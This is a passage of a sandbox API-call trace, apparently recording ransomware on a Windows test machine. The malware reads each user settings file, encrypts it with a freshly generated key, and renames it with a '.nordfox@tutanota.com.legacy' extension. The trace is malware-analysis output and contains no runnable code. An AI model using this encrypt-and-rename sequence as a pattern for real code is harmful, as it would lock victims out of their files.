lpNumberOfBytesWritten=0x2e1f9bc*=0x4d0, lpOverlapped=0x0) returned 1 [0195.791] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d0 [0195.791] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.791] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.791] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.791] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.792] CloseHandle (hObject=0x1c24) returned 1 [0195.793] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.793] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0195.793] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{17cd9488-1228-4b2f-88ce-4298e93e0966}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.794] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x361, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x361, lpOverlapped=0x0) returned 1 [0195.802] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-865, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.803] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x361, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x361, lpOverlapped=0x0) returned 1 [0195.803] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x361 [0195.803] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.803] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.804] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.804] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.804] CloseHandle (hObject=0x1c24) returned 1 [0195.808] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0195.808] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.808] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{16C327FA-D8A8-41C0-B022-64AC67715327}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.809] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x39e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x39e, lpOverlapped=0x0) returned 1 [0195.818] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-926, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.818] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x39e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x39e, lpOverlapped=0x0) returned 1 [0195.819] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x39e [0195.819] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.819] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.819] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.820] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.820] CloseHandle (hObject=0x1c24) returned 1 [0195.822] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.822] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.822] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{14DEC75C-D6CE-44A9-8349-AD0F46EF96BE}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.822] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x43e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x43e, lpOverlapped=0x0) returned 1 [0195.823] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1086, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.823] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x43e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x43e, lpOverlapped=0x0) returned 1 [0195.824] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x43e [0195.824] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.824] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.824] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.824] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.825] CloseHandle (hObject=0x1c24) returned 1 [0195.826] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0195.826] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0195.826] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{141D98AD-3E07-4C44-A578-4DCA078286A4}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.827] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3fc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3fc, lpOverlapped=0x0) returned 1 [0195.828] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1020, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.828] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3fc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3fc, lpOverlapped=0x0) returned 1 [0195.829] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3fc [0195.829] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.829] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.829] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.829] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.829] CloseHandle (hObject=0x1c24) returned 1 [0195.831] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0195.831] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0195.831] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{12BBBD91-8E16-4C3F-9715-16E5C8299244}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.831] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x48c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x48c, lpOverlapped=0x0) returned 1 [0195.832] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1164, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.832] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x48c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x48c, lpOverlapped=0x0) returned 1 [0195.833] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x48c [0195.833] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.833] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.833] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.834] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.834] CloseHandle (hObject=0x1c24) returned 1 [0195.836] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0195.836] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0195.836] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{1206f5f1-0569-412c-8fec-3204630dfb70}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.837] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e8240 [0195.837] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0195.837] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e8240 | out: hHeap=0x520000) returned 1 [0195.837] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{1206f5f1-0569-412c-8fec-3204630dfb70}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{1206f5f1-0569-412c-8fec-3204630dfb70}.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0195.837] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=830) returned 1 [0195.837] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x33e) returned 0x30f6af0 [0195.837] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x33e) returned 0x619440 [0195.837] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x33e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x33e, lpOverlapped=0x0) returned 1 [0195.844] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-830, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.844] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x33e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x33e, lpOverlapped=0x0) returned 1 [0195.845] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f6af0 | out: hHeap=0x520000) returned 1 [0195.845] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0195.845] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x33e [0195.845] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.845] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.845] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.845] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.845] CloseHandle (hObject=0x1c24) returned 1 [0195.845] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0195.845] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0195.846] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{1206f5f1-0569-412c-8fec-3204630dfb70}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{1206f5f1-0569-412c-8fec-3204630dfb70}.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{1206f5f1-0569-412c-8fec-3204630dfb70}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{1206f5f1-0569-412c-8fec-3204630dfb70}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0195.850] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0195.850] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e6990 | out: hHeap=0x520000) returned 1 [0195.850] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e66a0 | out: hHeap=0x520000) returned 1 [0195.850] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e66a0 [0195.850] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0195.850] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0195.850] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.850] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0195.850] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{11E71674-7556-4E27-8D59-03B2FA846204}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.850] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e6990 [0195.850] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0195.851] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e6990 | out: hHeap=0x520000) returned 1 [0195.851] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{11E71674-7556-4E27-8D59-03B2FA846204}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{11e71674-7556-4e27-8d59-03b2fa846204}.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0195.851] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1047) returned 1 [0195.851] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x417) returned 0x30f6af0 [0195.851] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x417) returned 0x619440 [0195.851] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x417, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x417, lpOverlapped=0x0) returned 1 [0195.852] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1047, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.852] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x417, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x417, lpOverlapped=0x0) returned 1 [0195.853] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f6af0 | out: hHeap=0x520000) returned 1 [0195.853] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0195.853] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x417 [0195.853] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.853] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.853] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.853] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.853] CloseHandle (hObject=0x1c24) returned 1 [0195.853] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0195.853] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0195.854] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{11E71674-7556-4E27-8D59-03B2FA846204}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{11e71674-7556-4e27-8d59-03b2fa846204}.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{11E71674-7556-4E27-8D59-03B2FA846204}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{11e71674-7556-4e27-8d59-03b2fa846204}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0195.855] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0195.855] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e66a0 | out: hHeap=0x520000) returned 1 [0195.855] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e6528 | out: hHeap=0x520000) returned 1 [0195.856] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e6528 [0195.856] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0195.856] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0195.856] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0195.856] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.856] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{11135AE0-7372-4f85-8D1B-93D6EFBE5A99}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.856] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 